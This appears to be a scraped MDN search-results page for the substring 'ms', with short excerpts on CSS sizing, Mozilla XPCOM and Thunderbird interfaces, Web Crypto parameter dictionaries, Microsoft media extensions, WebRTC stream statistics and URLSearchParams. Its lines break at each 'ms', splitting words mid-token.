...er canvas card sorting carddav caret cdn certificate authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client hints closure c
ms code splitting codec compile compile time computer programming conditional constant constructor continuous media control flow cookie copyleft cors cors-safelisted request header cors-safelisted response header crawler crlf cross axis ...
... w3c wai wcag web performance web server web standards webassembly webdav webextensions webgl webidl webkit webm webp webrtc websockets webvtt whatwg whitespace world wide web wrapper x xfor
ms xhr (xmlhttprequest) xhtml xinclude xlink xml xpath xquery xslt other 404 502 alpn at-rule attack byte-order mark character set client cryptosystem debug digital signature execution flex...
Sizing items in CSS - Learn web development
previous overview: building blocks next in the various lessons so far you have come across a number of ways to size ite
ms on a web page using css.
... understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via css and define a few ter
ms around sizing that will help you in the future.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
Emscripten techniques
this page contains specific e
mscripten-related techniques.
... debugging out-of-memory proble
ms a common bug to diagnose with e
mscripten is where a big game fails due to an out of memory error (oom) somewhere during load time.
...this article explains how to debug such proble
ms.
JS_NewDateObjectMsec
syntax jsobject * js_newdateobject
msec(jscontext *cx, double
msec); name type description cx jscontext * the context.
...
msec double time since unix epoch in milliseconds.
...see also mxr id search for js_newdateobject
msec js_newdateobject js_objectisdate bug 625870 ...
mozIStorageBindingParams
the mozistoragebindingpara
ms interface is used to bind values to parameters prior to calling mozistoragestatement.executeasync().
... storage/public/mozistoragebindingpara
ms.idlscriptable please add a summary to this article.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create mozistoragebindingpara
ms objects by calling the mozistoragebindingpara
msarray.newbindingpara
ms().
nsIDOMStorageManager
dom/interfaces/storage/nsido
mstoragemanager.idlscriptable this interface provides methods for managing data stored in the offline apps cache.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var do
mstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsido
mstoragemanager); method overview void clearofflineapps(); nsido
mstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in do
mstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications.
...nsido
mstorage getlocalstorageforprincipal( nsiprincipal aprincipal, do
mstring adocumenturi ); parameters aprincipal the principal for which to return the local storage object.
nsIMsgProtocolInfo
the nsi
msgprotocolinfo interface describes the capabilities of an account type.
... showcompose
msglink boolean true if compose ui actions should be enabled for the account type.
... see also nsi
msgincomingserver ...
nsIMsgRuleAction
defined in comm-central/ mailnews/ base/ search/ public/ nsi
msgfilter.idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsi
msgruleaction : nsisupports { attribute ns
msgruleactiontype type; // target priority..
... throws an exception if the action is not priority attribute ns
msgpriorityvalue priority; // target folder..
...throws an exception if the action is not label attribute ns
msglabelvalue label; // junkscore throws an exception if the action type is not junkscore attribute long junkscore; attribute autf8string strvalue; // action id if type is custom attribute acstring customid; // custom action associated with customid // (which must be set prior to reading this attribute) readonly attribute nsi
msgfiltercustomaction customaction; }; ...
nsMsgSearchOp
defined in comm-central/ mailnews/ base/ search/ public/ ns
msgsearchcore.idl typedef long ns
msgsearchopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface ns
msgsearchop { const ns
msgsearchopvalue contains = 0; /* for text attributes */ const ns
msgsearchopvalue doesntcontain = 1; const ns
msgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const ns
msgsearchopvalue isnt = 3; const ns
msgsearchopvalue isempty = 4; const ns
msgsearchopvalue isbefore = 5; /* for date attributes */ const ns
msgsearchopvalue isafter = 6; const ns
msgsearchopvalue ishigherthan = 7; /* for priority.
... is also applies */ const ns
msgsearchopvalue islowerthan = 8; const ns
msgsearchopvalue beginswith = 9; const ns
msgsearchopvalue endswith = 10; const ns
msgsearchopvalue soundslike = 11; /* for ldap phoenetic matching */ const ns
msgsearchopvalue ldapdwim = 12; /* do what i mean for simple search */ const ns
msgsearchopvalue isgreaterthan = 13; const ns
msgsearchopvalue islessthan = 14; const ns
msgsearchopvalue namecompletion = 15; /* name completion operator...as the name implies =) */ const ns
msgsearchopvalue isinab = 16; const ns
msgsearchopvalue isntinab = 17; const ns
msgsearchopvalue isntempty = 18; /* primarily for tags */ const ns
msgsearchopvalue matches = 19; /* generic term for use by custom ter
ms */ const ns
ms...
...gsearchopvalue doesntmatch = 20; /* generic term for use by custom ter
ms */ const ns
msgsearchopvalue knum
msgsearchoperators = 21; /* must be last operator */ }; ...
nsMsgNavigationType
the ns
msgnavigationtype interface contains constants used for message navigation in thunderbird.
... for example to move forward a message, you would call: // assuming gdbview is a global nsi
msgdbview var resultid = new object(); var resultindex = new object(); var threadindex = new object(); gdbview.viewnavigate(components.interfaces.ns
msgnavigationtype.nextmessage, resultid, resultindex, threadindex, true); the ns
msgnavigationtype interface is defined as a global variable in thunderbird: var ns
msgviewcommandtype = components.interfaces.ns
msgviewcommandtype; mailnews/base/public/nsi
msgdbview.idlscriptable please add a summary to this article.
... togglethreadkilled 5 must match ns
msgviewcommandtype togglethreadkilled.
nsMsgSearchOpValue
ns
msgsearchopvalue defined in comm-central/ mailnews/ base/ search/ public/ ns
msgsearchcore.idl 146 typedef long ns
msgsearchopvalue; 147 148 [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] 149 interface ns
msgsearchop { 150 const ns
msgsearchopvalue contains = 0; /* for text attributes */ 151 const ns
msgsearchopvalue doesntcontain = 1; 152 const ns
msgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ 153 const ns
msgsearchopvalue isnt = 3; 154 const ns
msgsearchopvalue isempty = 4; 155 156 const ns
msgsearchopvalue isbefore = 5; /* for date attributes */ 157 const ns
msgsearchopvalue isafter = 6; 158 159 const ns
msgsearchopvalue ishigherthan = 7; /* for priority.
... is also applies */ 160 const ns
msgsearchopvalue islowerthan = 8; 161 162 const ns
msgsearchopvalue beginswith = 9; 163 const ns
msgsearchopvalue endswith = 10; 164 165 const ns
msgsearchopvalue soundslike = 11; /* for ldap phoenetic matching */ 166 const ns
msgsearchopvalue ldapdwim = 12; /* do what i mean for simple search */ 167 168 const ns
msgsearchopvalue isgreaterthan = 13; 169 const ns
msgsearchopvalue islessthan = 14; 170 171 const ns
msgsearchopvalue namecompletion = 15; /* name completion operator...as the name implies =) */ 172 const ns
msgsearchopvalue isinab = 16; 173 const ns
msgsearchopvalue isntinab = 17; 174 const ns
msgsearchopvalue isntempty = 18; /* primarily for tags */ 175 const ns
msgsearchopvalue matches = 19; /* generic ter...
...m for use by custom ter
ms */ 176 const ns
msgsearchopvalue doesntmatch = 20; /* generic term for use by custom ter
ms */ 177 const ns
msgsearchopvalue knum
msgsearchoperators = 21; /* must be last operator */ 178 }; ...
AesCbcParams - Web APIs
the aescbcpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-cbc algorithm.
... properties name a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aescbcpara
ms' in that specification.
AesCtrParams - Web APIs
the aesctrpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-ctr algorithm.
... properties name a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesctrpara
ms' in that specification.
AesGcmParams - Web APIs
the aesgcmpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-gcm algorithm.
... properties name a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesgcmpara
ms' in that specification.
AesKeyGenParams - Web APIs
the aeskeygenpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.generatekey(), when generating an aes key: that is, when the algorithm is identified as any of aes-cbc, aes-ctr, aes-gcm, or aes-kw.
... properties name a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aeskeygenpara
ms' in that specification.
EcdhKeyDeriveParams - Web APIs
the ecdhkeyderivepara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.derivekey(), when using the ecdh algorithm.
... properties name a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdhkeyderivepara
ms' in that specification.
Element: MSGestureStart event - Web APIs
the
msgesturestart event is fired when there's a new point of contact on the touch surface, thus starting a new gesture.
... when the gesture has ended, a
msgestureend event will be fired.
... bubbles unknown cancelable unknown interface
msgestureevent event handler property unknown specifications not part of any specification.
Element: MSManipulationStateChanged event - Web APIs
msmanipulationstatechanged fires when the state of an element being manipulated has changed (ie.
... bubbles unknown cancelable unknown interface
msmanipulationevent event handler property unknown get manipulation states using the laststate and currentstate properties.
... examples // listen for panning state change events outerscroller.addeventlistener("
msmanipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate ==
ms_manipulation_state_inertia && outerscroller.scrolltop === 0) { refreshite
msasync(); } }); specifications not part of any specification.
msClearEffects - Web APIs
the
mscleareffects method of the htmlmediaelement, is a proprietary method specific to internet explorer and microsoft edge.
...
mscleareffects clears all effects from the media pipeline.
... syntax htmlmediaelement.
mscleareffects(); parameters this method has no parameters.
HTMLVideoElement.msHorizontalMirror - Web APIs
mshorizontalmirror is a read/write property which gets or sets whether a video element is flipped horizontally in the display.
... syntax htmlvideoelement.
mshorizontalmirror: boolean; value boolean value set to true flips the video playback horizontally.
... example var myvideo = document.getelementbyid("videotag1"); myvideo.
mshorizontalmirror = true; myvideo.play(); example #2: var flip = document.queryselector('#flip'); flip.addeventlistener('click', function() { video.
mshorizontalmirror = true; }); see also htmlvideoelement microsoft api extensions ...
HTMLVideoElement.msInsertVideoEffect() - Web APIs
the htmlmediaelement.
msinsertvideoeffect() method inserts the specified video effect into the media pipeline.
... syntax str = htmlmediaelement.
msinsertvideoeffect(activatableclassid: do
mstring, effectrequired: boolean, config); parameters activatableclassid a do
mstring defining the video effects class.
... example var ovideo1 = document.getelementbyid("video1"); ovideo1.
msinsertvideoeffect("windows.media.videoeffects.videostabilization", true, null); see also htmlvideoelement microsoft api extensions ...
msSetVideoRectangle - Web APIs
the htmlvideoelement.
mssetvideorectangle() method sets the dimensions of a sub-rectangle within a video.
... syntax htmlvideoelement.
mssetvideorectangle(); parameters left a number representing left-side position.
... example htmlvideoelement.
mssetvideorectangle(left: 2, top: 0, right: 4, bottom: 4); see also htmlvideoelement microsoft api extensions ...
MSSiteModeEvent - Web APIs
mssitemodeevent provides event properties that are specific to pinned site events.
... dom information inheritance hierarchy event
mssitemodeevent methods method description initevent initializes a new generic event that the createevent method created.
... example interface
mssitemodeevent extends event { buttonid: number; actionurl: string; } declare var
mssitemodeevent: { prototype:
mssitemodeevent; new():
mssitemodeevent; } see also microsoft api extensions ...
msExtendedCode - Web APIs
the element's error property will then contain an
msextendedcode read-only property with platform-specific error code information.
...
msextendedcode is a read-only proprietary property specific to internet explorer and microsoft edge.
... example var video1 = object.getelementbyid("video1"); video1.addeventlistener('error', function () { var error = video1.error.
msextendedcode; //...
msGraphicsTrustStatus - Web APIs
msgraphicstruststatus is a read-only property which returns an object containing information on protected video playback.
... syntax status = object.
msgraphicstruststatus; example //specifies the output device id that the audio will be sent to.
...
msaudiodevicetype: string; readonly
msgraphicstruststatus:
msgraphicstrust; ...
msPlayToDisabled - Web APIs
msplaytodisabled is a read/write property which gets and sets if the playto device is enabled or disabled.
... syntax ptr = object.
msplaytodisabled; value boolean value set to true indicates that the playto device is disabled.
... the
msplaytodisabled attribute extends the htmlembedelement, htmlimageelement, htmlmediaelement, and htmlobject interfaces.
msPlayToPreferredSourceUri - Web APIs
msplaytopreferredsourceuri is a read/write property which gets or sets the path to the preferred media source.
... syntax ptr = object.
msplaytopreferredsourceuri; value
msplaytopreferredsourceuri enables a playto reference (a uri or url) for streaming content on the playto target device from a different location, such as a cloud media server.
... example <video src="http://www.contoso.com/videos/video.mp4"
msplaytopreferredsourceuri="http://www.contoso.com/catalogid=1234" /> var video = document.createelement('video'); document.body.appendchild(video); video.src = "http://www.contoso.com/videos/video.mp4"; video.
msplaytopreferredsourceuri = "http://www.contoso.com/catalogid=1234"; see also microsoft playready content access and protection technology is a set of technologies that can be...
msPlayToPrimary - Web APIs
msplaytoprimary is a read/write property which gets or sets the primary dlna playto device.
... syntax ptr = object.
msplaytoprimary; value boolean value set to true indicates that the device is the primary dlna playto device, otherwise false.
... example // microsoft extensions interface htmlimageelement : htmlelement { attribute boolean
msplaytodisabled; attribute boolean
msplaytoprimary; attribute do
mstring
msplaytopreferredsourceuri; }; see also htmlmediaelement ...
msSetMediaProtectionManager - Web APIs
the
mssetmediaprotectionmanager method specifies the media protection manager for a given media pipeline.
... syntax htmlmediaelement.
mssetmediaprotectionmanager(mediaprotectionmanager); parameters the windows.media.protection namespace provides classes to manage digital rights management (drm) media contents.
... the optional parameter of the
mssetmediaprotectionmanager property is mediaprotectionmanager and can be any type.
msSaveBlob - Web APIs
the navigator.
mssaveblob() method saves the file or blob to disk.
... this method behaves in the same way as navigator.
mssaveoropenblob() except that this disables the file open option.
... syntax navigator.
mssaveblob(blob, defaultname); parameters blob a blob to be saved.
msSaveOrOpenBlob - Web APIs
the navigator.
mssaveoropenblob() method saves the file or blob to disk.
... this method behaves in the same way as navigator.
mssaveblob() except that this enables the file open option.
... syntax navigator.
mssaveoropenblob(blob, defaultname); parameters blob a blob to be saved.
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
the averagertcpinterval property of the rtcinboundrtpstrea
mstats dictionary is a floating-point value indicating the average rtcp transmission interval, in seconds.
... syntax var averagertcpinterval = rtcinboundrtpstrea
mstats.averagertcpinterval; value a floating-point value indicating the average interval, in seconds, between transmissions of rtcp packets.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.averagertcpinterval' in that specification.
RTCInboundRtpStreamStats.fecPacketsDiscarded - Web APIs
the fecpacketsdiscarded property of the rtcinboundrtpstrea
mstats dictionary is a numeric value indicating the number of rtp forward error correction (fec) packets that have been discarded.
... syntax var fecpacketsdiscarded = rtcinboundrtpstrea
mstats.fecpacketsdiscarded; value an unsigned integer value indicating how many fec packets have been received whose error correction payload has been discarded.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.fecpacketsdiscarded' in that specification.
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
the fecpacketsreceived property of the rtcinboundrtpstrea
mstats dictionary indicates how many forward error correction (fec) packets have been received by this rtp receiver from the remote peer.
... syntax var fecpacketsreceived = rtcinboundrtpstrea
mstats.fecpacketsreceived; value an unsigned integer value which indicates the total number of fec packets which have been recieved from the remote peer during this rtp session.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.fecpacketsreceived' in that specification.
RTCInboundRtpStreamStats.firCount - Web APIs
the fircount property of the rtcinboundrtpstrea
mstats dictionary indicates the number of full intra request (fir) packets have been sent by the receiver to the sender.
... syntax var fircount = rtcinboundrtpstrea
mstats.fircount; value an integer value indicating how many fir packets have been received by the sender during the current connection.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.fircount' in that specification.
RTCInboundRtpStreamStats.framesDecoded - Web APIs
the framesdecoded property of the rtcinboundrtpstrea
mstats dictionary indicates the total number of frames which have been decoded successfully for this media source.
... syntax var framesdecoded = rtcinboundrtpstrea
mstats.framesdecoded; value an integer value indicating the total number of video frames which have been decoded for this stream so far.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.framesdecoded' in that specification.
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
the lastpacketreceivedtimestamp property of the rtcinboundrtpstrea
mstats dictionary indicates the time at which the most recently received packet arrived from this source.
... syntax var lastpackettimestamp = rtcinboundrtpstrea
mstats.lastpacketreceivedtimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on this rtp stream.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.lastpacketreceivedtimestamp' in that specification.
RTCInboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcinboundrtpstrea
mstats dictionary is a numeric value indicating the number of times the receiver sent a nack packet to the sender.
... syntax var nackcount = rtcinboundrtpstrea
mstats.nackcount; value an integer value indicating how many times the receiver sent a nack packet to the sender after detecting that one or more packets were lost during transport.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.nackcount' in that specification.
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
the packetsduplicated property of the rtcinboundrtpstrea
mstats dictionary indicates the total number of packets discarded because they were duplicates of previously-received packets.
... syntax var packetsduplicated = rtcinboundrtpstrea
mstats.packetsduplicated; value an integer value which specifies how many duplcate packets have been received by the local end of this rtp stream so far.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.packetsduplicated' in that specification.
RTCInboundRtpStreamStats.packetsFailedDecryption - Web APIs
the packetsfaileddecryption property of the rtcinboundrtpstrea
mstats dictionary indicates the total number of rtp packets which failed to be decrypted successfully after being received by the local end of the connection during this session.
... syntax var packetsfaileddecryption = rtcinboundrtpstrea
mstats.packetsfaileddecryption; value an integer value which indicates how many packets the local end of the rtp connection could not be successfully decrypted.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.packetsfaileddecryption' in that specification.
RTCInboundRtpStreamStats.receiverId - Web APIs
the receiverid property of the rtcinboundrtpstrea
mstats dictionary specifies the id of the rtcaudioreceiverstats or rtcvideoreceiverstats object representing the rtcrtpreceiver receiving the stream.
... syntax var receiverstatsid = rtcinboundrtpstrea
mstats.receiverid; value a do
mstring which contains the id of the rtcaudioreceiverstats or rtcvideoreceiverstats object which provides information about the rtcrtpreceiver which is receiving the streamed media.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.receiverid' in that specification.
RTCInboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcinboundrtpstrea
mstats dictionary specifies the id of the rtcremoteoutboundrtpstrea
mstats object representing the remote peer's rtcrtpsender which is sending the media to the local peer.
... syntax var remotestatsid = rtcinboundrtpstrea
mstats.remoteid; value a do
mstring containing the id of the rtcremoteoutboundrtpstrea
mstats object that represents the remote peer's rtcrtpsender for the synchronization source represented by this stats object.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.remoteid' in that specification.
RTCInboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcinboundrtpstrea
mstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpreceiver for which this object provdes statistics sent to the remote rtcrtpsender.
... syntax var slicount = rtcinboundrtpstrea
mstats.slicount; value an unsigned integer indicating the number of sli packets this receiver sent to the remote sender due to lost runs of macroblocks.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.slicount' in that specification.
RTCInboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcinboundrtpstrea
mstats dictionary indicates the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the mediastreamtrack which is receiving the incoming media.
... syntax var trackstatsid = rtcinboundrtpstrea
mstats.trackid; value a do
mstring containing the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the track which is receiving the media from this rtp session.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.trackid' in that specification.
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
the averagertcpinterval property of the rtcoutboundrtpstrea
mstats dictionary is a floating-point value indicating the average time that should pass between transmissions of rtcp packets on this stream.
... syntax var averagertcpinterval = rtcoutboundrtpstrea
mstats.averagertcpinterval; value a floating-point value indicating the average interval, in seconds, between transmissions of rtcp packets.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.averagertcpinterval' in that specification.
RTCOutboundRtpStreamStats.firCount - Web APIs
the fircount property of the rtcoutboundrtpstrea
mstats dictionary indicates the number of full intra request (fir) that the remote rtcrtpreceiver has sent to this rtcrtpsender.
... syntax var fircount = rtcoutboundrtpstrea
mstats.fircount; value an integer value indicating how many fir packets have been received by the sender during the current connection.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.fircount' in that specification.
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
the lastpacketsenttimestamp property of the rtcoutboundrtpstrea
mstats dictionary indicates the time at which the rtcrtpsender described by this rtcoutboundrtpstrea
mstats object last transmitted a packet to the remote receiver.
... syntax var lastpackettimestamp = rtcoutboundrtpstrea
mstats.lastpacketsenttimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on this rtp stream.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.lastpacketsenttimestamp' in that specification.
RTCOutboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcoutboundrtpstrea
mstats dictionary is a numeric value indicating the number of times the rtcrtpsender described by this object received a nack packet from the remote receiver.
... syntax var nackcount = rtcoutboundrtpstrea
mstats.nackcount; value an integer value indicating how many times the sender received a nack packet from the receiver, indicating the loss of one or more packets.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.nackcount' in that specification.
RTCOutboundRtpStreamStats.qualityLimitationReason - Web APIs
the qualitylimitationreason property of the rtcoutboundrtpstrea
mstats dictionary is a string indicating the reason why the media quality in the stream is currently being reduced by the codec during encoding, or none if no quality reduction is being performed.
... syntax var qualitylimitationreason = rtcoutboundrtpstrea
mstats.qualitylimitationreason; value a map whose keys are do
mstrings whose values come from the rtcqualitylimitationreason enumerated type, and whose values are the duration of the media, in seconds, whose quality was reduced for that reason.
... examples specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.qualitylimitationreason' in that specification.
RTCOutboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcoutboundrtpstrea
mstats dictionary specifies the id of the rtcremoteinboundrtpstrea
mstats object representing the remote peer's rtcrtpreceiver which is sending the media to the local peer for this ssrc.
... syntax var remotestatsid = rtcoutboundrtpstrea
mstats.remoteid; value a do
mstring containing the id of the rtcremoteinboundrtpstrea
mstats object that represents the remote peer's rtcrtpreceiver for the synchronization source represented by this stats object.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.remoteid' in that specification.
RTCOutboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcoutboundrtpstrea
mstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpsender received from the remote rtcrtpreceiver for the rtp stream described by this object.
... syntax var slicount = rtcoutboundrtpstrea
mstats.slicount; value an unsigned integer indicating the number of sli packets the sender received from the receiver due to lost runs of macroblocks.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.slicount' in that specification.
RTCOutboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcoutboundrtpstrea
mstats dictionary indicates the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object representing the mediastreamtrack which is being sent on this stream.
... syntax var trackstatsid = rtcoutboundrtpstrea
mstats.trackid; value a do
mstring containing the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object representing the track which is the source of the media being sent on this stream.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.trackid' in that specification.
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
the rtcremoteoutboundrtpstrea
mstats property remotetimestamp indicates the timestamp on the remote peer at which these statistics were sent.
... syntax let remotetimestamp = rtcremoteoutboundrtpstrea
mstats.remotetimestamp; value a domhighrestimestamp value indicating the timestamp on the remote peer at which it sent these statistics.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstrea
mstats.remotetimestamp' in that specification.
RTCRtpStreamStats.codecId - Web APIs
the rtcrtpstrea
mstats dictionary's codecid property is a string which uniquely identifies the object that was inspected to produce the data in the rtccodecstats for the rtp stream.
... syntax var codecid = rtcrtpstrea
mstats.codecid; value a do
mstring which uniquely identifies the object from which the contents of the stream's rtccodecstats are derived.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstrea
mstats.codecid' in that specification.
RTCRtpStreamStats.kind - Web APIs
the kind property of the rtcrtpstrea
mstats dictionary is a string indicating whether the described rtp stream contains audio or video media.
... syntax mediakind = rtcrtpstrea
mstats.kind; value a do
mstring whose value is "audio" if the track whose statistics are given by the rtcrtpstrea
mstats object contains audio, or "video" if the track contains video media.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstrea
mstats.kind' in that specification.
RTCRtpStreamStats.ssrc - Web APIs
the rtcrtpstrea
mstats dictionary's ssrc property provides the synchronization source (ssrc), an integer which uniquely identifies the source of the rtp packets whose statistics are covered by the rtcstatsreport that includes this rtcrtpstrea
mstats dictionary.
... syntax var ssrc = rtcrtpstrea
mstats.ssrc; value the synchronization source (ssrc) is a 32-bit integer uniquely identifying the source of the rtp packets whose statistics are covered by the rtcstatsreport object of which this rtcrtpstrea
mstats object is a component.
...do not rely upon these values meaning anything other than "these objects are associated with the same source." specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstrea
mstats.ssrc' in that specification.
RTCRtpStreamStats.trackId - Web APIs
the rtcrtpstrea
mstats dictionary's trackid property is a string which uniquely identifies the rtcmediastreamtrackstats object which contains the track statistics for the mediastreamtrack for which statistics are provided in this object.
... syntax var trackid = rtcrtpstrea
mstats.trackid; value a do
mstring which uniquely identifies the rtcmediastreamtrackstats object that provides statistics for the track for which statistics are being collected by this rtcstatsreport.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstrea
mstats.trackid' in that specification.
RTCRtpStreamStats.transportId - Web APIs
the rtcrtpstrea
mstats dictionary's transportid property is a string which uniquely identifies the object from which the statistics contained in the rtctransportstats properties in the rtcstatsreport.
... syntax var transportid = rtcrtpstrea
mstats.transportid; value a do
mstring uniquely identifying the source of the statistics contained the rtctransportstats properties in the rtcstatsreport.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstrea
mstats.transportid' in that specification.
RTCTrackEvent.streams - Web APIs
the webrtc api interface rtctrackevent's read-only strea
ms property specifies an array of mediastream objects, one for each of the strea
ms that comprise the track being added to the rtcpeerconnection.
... syntax var strea
ms = trackevent.strea
ms; value an array of mediastream objects, one for each stream that make up the new track.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.strea
ms' in that specification.
RsaOaepParams - Web APIs
the rsaoaeppara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the rsa_oaep algorithm.
... properties name a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsaoaeppara
ms' in that specification.
RsaPssParams - Web APIs
the rsapsspara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.sign() or subtlecrypto.verify(), when using the rsa-pss algorithm.
... properties name a do
mstring.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsapsspara
ms' in that specification.
URLSearchParams.entries() - Web APIs
the entries() method of the urlsearchpara
ms interface returns an iterator allowing iteration through all key/value pairs contained in this object.
... syntax searchpara
ms.entries(); parameters none.
... examples // create a test urlsearchpara
ms object var searchpara
ms = new urlsearchpara
ms("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchpara
ms.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.forEach() - Web APIs
the foreach() method of the urlsearchpara
ms interface allows iteration through all values contained in this object via a callback function.
... syntax searchpara
ms.foreach(callback); parameters callback a callback function that is executed against each parameter, with the param value provided as its parameter.
... examples // create a test urlsearchpara
ms object var searchpara
ms = new urlsearchpara
ms("key1=value1&key2=value2"); // log the values searchpara
ms.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification.
URLSearchParams.get() - Web APIs
the get() method of the urlsearchpara
ms interface returns the first value associated to the given search parameter.
... syntax urlsearchpara
ms.get(name) parameters name the name of the parameter to return.
... examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let para
ms = new urlsearchpara
ms(document.location.search.substring(1)); let name = para
ms.get("name"); // is the string "jonathan" let age = parseint(para
ms.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = para
ms.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specification.
